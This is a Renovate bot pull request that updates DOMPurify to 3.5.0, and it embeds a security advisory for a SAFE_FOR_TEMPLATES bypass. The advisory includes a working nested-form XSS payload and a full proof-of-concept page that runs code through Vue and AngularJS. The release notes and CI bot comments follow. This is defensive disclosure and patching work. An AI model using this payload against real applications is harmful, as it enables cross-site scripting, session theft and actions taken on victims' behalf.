Skip to content

pkg: Update dompurify to v3.5.0 [SECURITY] - #4730

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-dompurify-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-dompurify-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Dec 6, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
dompurify 3.4.18 → 3.5.0 age adoption passing confidence

DOMPurify SAFE_FOR_TEMPLATES bypass: nested makes a template expression reassemble when sanitized output is reparsed

CVE-2026-144292 / GHSA-hrxw-jjj6-2g2j

More information

Details

Summary

With SAFE_FOR_TEMPLATES: true, DOMPurify 3.4.18 returns a string that contains no {{ or }}, yet becomes a live {{…}} expression as soon as it is assigned to innerHTML. A template engine that compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.

The attacker controls only the markup passed to sanitize(). The only configuration required is SAFE_FOR_TEMPLATES: true, which is a protective option used for its documented purpose.

Reproduced on DOMPurify 3.4.18 (npm latest) in Chromium 156, Firefox 157 and WebKit 27.2. The plain {{…}} case is still scrubbed correctly, so this is a gap in the existing protection.

Details

SAFE_FOR_TEMPLATES is enforced in two places in src/purify.ts, and neither accounts for how the returned string is parsed a second time by the consumer.

  1. Per text node, during the walk (around line 2122):

    /* Sanitize element content to be template-safe */
    if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
      const content = _stripTemplateExpressions(currentNode.textContent);
      ...
  2. After serialization, a tree scrub that only runs when the serialized output contains a marker (around line 2872):

    if (
      SAFE_FOR_TEMPLATES &&
      regExpTest(EXPRESSIONS.TMPL_MARKER_SERIALIZED, serializedHTML)
    ) {
      _scrubOwnCharacterData(body);
      serializedHTML = WHOLE_DOCUMENT ? body.outerHTML : body.innerHTML;
    }

    with TMPL_MARKER_SERIALIZED = /{{|}}|\${|<%|%>|&lt;%|%&gt;/ in src/regexp.ts.

Input:

<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}

Step 1, first parse (inside DOMPurify). </form> clears the parser's form element pointer while the <div> is still open, so the second <form> is accepted as a child of the <div>. The tree has three separate text nodes, {, {…} and }, with an element between them. No single text node contains {{ or }}, so the per-node scrub does nothing.

Step 2, serialization:

<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>

The string contains no {{ or }} (a <form> tag sits between the braces), so TMPL_MARKER_SERIALIZED does not match and the post-serialization scrub is skipped. Even if it ran, it works on the same tree, where the fragments are separate text nodes.

Step 3, second parse (in the consumer). When this string is assigned to innerHTML, the HTML parser ignores the inner <form> start tag because a form is already open. The three fragments become adjacent and merge into one text node:

{{constructor.constructor('alert(1)')()}}

Root cause: the guarantee is checked on DOMPurify's own tree and on the serialized string, but the output is not stable under a second parse. A nested <form> is a case where serialize-then-parse changes which text nodes are adjacent.

Suggested direction:

  • After serialization, parse the output once more and run the text-node scrub on that tree, repeating until stable; or
  • under SAFE_FOR_TEMPLATES, remove a <form> nested inside another <form>, since it cannot survive a reparse; or
  • treat a lone { / } at a text-node boundary as unsafe when the neighbouring text across an element boundary starts or ends with a brace.

A regression test for this shape would be worth adding; the current suite has none.

Proof of concept

Tested with DOMPurify 3.4.18 (npm latest), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.

Configuration: { SAFE_FOR_TEMPLATES: true }, nothing else.

Minimal check:

const clean = DOMPurify.sanitize(
  "<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}",
  { SAFE_FOR_TEMPLATES: true }
);
// clean === "<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>"

const div = document.createElement('div');
div.innerHTML = clean;
// div.textContent === "{{constructor.constructor('alert(1)')()}}"  (single text node)

End-to-end: save as poc.html and open it in a browser.

<!doctype html>
<meta charset="utf-8">
<script src="https://unpkg.com/dompurify@3.4.18/dist/purify.js"></script>
<script src="https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js"></script>
<script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script>
<div id="vue-host"><div class="comment"></div></div>
<div id="ng-host"><div class="comment"></div></div>
<pre id="log"></pre>
<script>
  const log = (m) => (document.getElementById('log').textContent += m + '\n');
  window.xss = (tag) => log('EXECUTED: ' + tag);
  const cfg = { SAFE_FOR_TEMPLATES: true };
  const wrap = (expr) => `<form><div>{</form><form>{${expr}}</form>}`;
  log('DOMPurify ' + DOMPurify.version);

  // Vue 3 (in-DOM template)
  const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss("vue")')()`), cfg);
  log('vue clean: ' + cleanVue);
  document.querySelector('#vue-host .comment').innerHTML = cleanVue;
  Vue.createApp({}).mount('#vue-host');

  // AngularJS 1.8.3
  const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss("ng")')()`), cfg);
  log('ng clean : ' + cleanNg);
  document.querySelector('#ng-host .comment').innerHTML = cleanNg;
  angular.bootstrap(document.getElementById('ng-host'), []);
</script>

Expected: the sanitized strings contain no live expression and nothing executes.

Actual, identical in all three browsers:

DOMPurify 3.4.18
vue clean: <form><div>{<form>{$emit.constructor('xss("vue")')()}</form>}</div></form>
EXECUTED: vue
ng clean : <form><div>{<form>{constructor.constructor('xss("ng")')()}</form>}</div></form>
EXECUTED: ng

Control, same config: <p>{{constructor.constructor('alert(1)')()}}</p> returns <p> </p>.

Server-side: with DOMPurify 3.4.18 on jsdom 27.0.1, the payload returns the same string, and parsing that string yields a single text node {{constructor.constructor('alert(1)')()}}.

Impact

Cross-site scripting through client-side template.

An attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the page's origin for every user who views it: session theft, actions on behalf of the victim, and content manipulation.

Severity

  • CVSS Score: 7.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

cure53/DOMPurify (dompurify)

v3.5.0: DOMPurify 3.5.0

Compare Source

This release contains security fixes and a few behavior changes, see below. There will be no further 3.4.x release.

Changelog
  • Fixed a further SAFE_FOR_TEMPLATES bypass where nested tags could reassemble expressions on reparse, thanks @​e1abrador
  • Fixed several ways for DOM-built input to get a template expression past SAFE_FOR_TEMPLATES: entity-encoded text in a style element nested in a textarea or title, text hidden in the children of a void element, NUL characters splitting a marker, and comments that end early on reparse
  • Fixed several gaps in the IN_PLACE fail-closed handling: a rejected root is now neutralized inside its open shadow roots, a failed call no longer leaves text or comments in the root, and a removed node that a hook or custom element puts back is sanitized again
  • Fixed a case where IN_PLACE never returned because a custom element or hook kept re-inserting a removed node, the call now fails closed
  • Fixed custom elements kept via CUSTOM_ELEMENT_HANDLING skipping the namespace check
  • Fixed a crash in the attribute loop when an uponSanitizeAttribute hook removed several attributes of the current node
  • Fixed a sanitize() call made from inside a hook or config callback replacing the config of the outer call
  • Fixed the types for RETURN_DOM, see #​1728, thanks @​YevheniiKotyrlo
  • Added in-depth hardening against clobbering for IN_PLACE
  • Added regression tests for all of the above
  • Reworked the CI setup: one always-on workflow with a single required check, a read-only build job for the SLSA provenance, and a check that the tagged dist/ matches a clean build
  • Extended the Sigstore signatures to all four bundles covered by the provenance
  • Updated the README, SECURITY.md and wiki
  • Updated several dependencies
Behavioral changes
  • SAFE_FOR_TEMPLATES is guaranteed for string input. For DOM node input and IN_PLACE it is best effort, because a tree the HTML parser did not build can change shape when it is parsed again
  • A name passing CUSTOM_ELEMENT_HANDLING.tagNameCheck is only kept in HTML. Inside SVG or MathML it is not a custom element and is now removed
  • When a DOM node is passed in, a textarea or title holding an element child and a void element holding children are removed. The HTML parser never produces these, so string input is not affected
  • A sanitize() call made from a hook no longer changes how the rest of the outer call behaves. Code that relied on the old side effect needs to pass the config explicitly
  • IN_PLACE now throws when a hook or custom element keeps putting a removed node back, instead of returning the node or running indefinitely

Configuration

📅 Schedule: (in timezone America/Chicago)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@changeset-bot

changeset-bot Bot commented Dec 6, 2026

Copy link
Copy Markdown

⚠️ No Changeset found

Latest commit: 5fa7547

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@codecov

codecov Bot commented Dec 6, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 98.64%. Comparing base (a0c1dad) to head (5fa7547).

Additional details and impacted files
@@           Coverage Diff           @@
##           master    #4730   +/-   ##
=======================================
  Coverage   98.64%   98.64%           
=======================================
  Files         163      163           
  Lines        3164     3164           
  Branches      629      629           
=======================================
  Hits         3121     3121           
  Misses          9        9           
  Partials       34       34           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants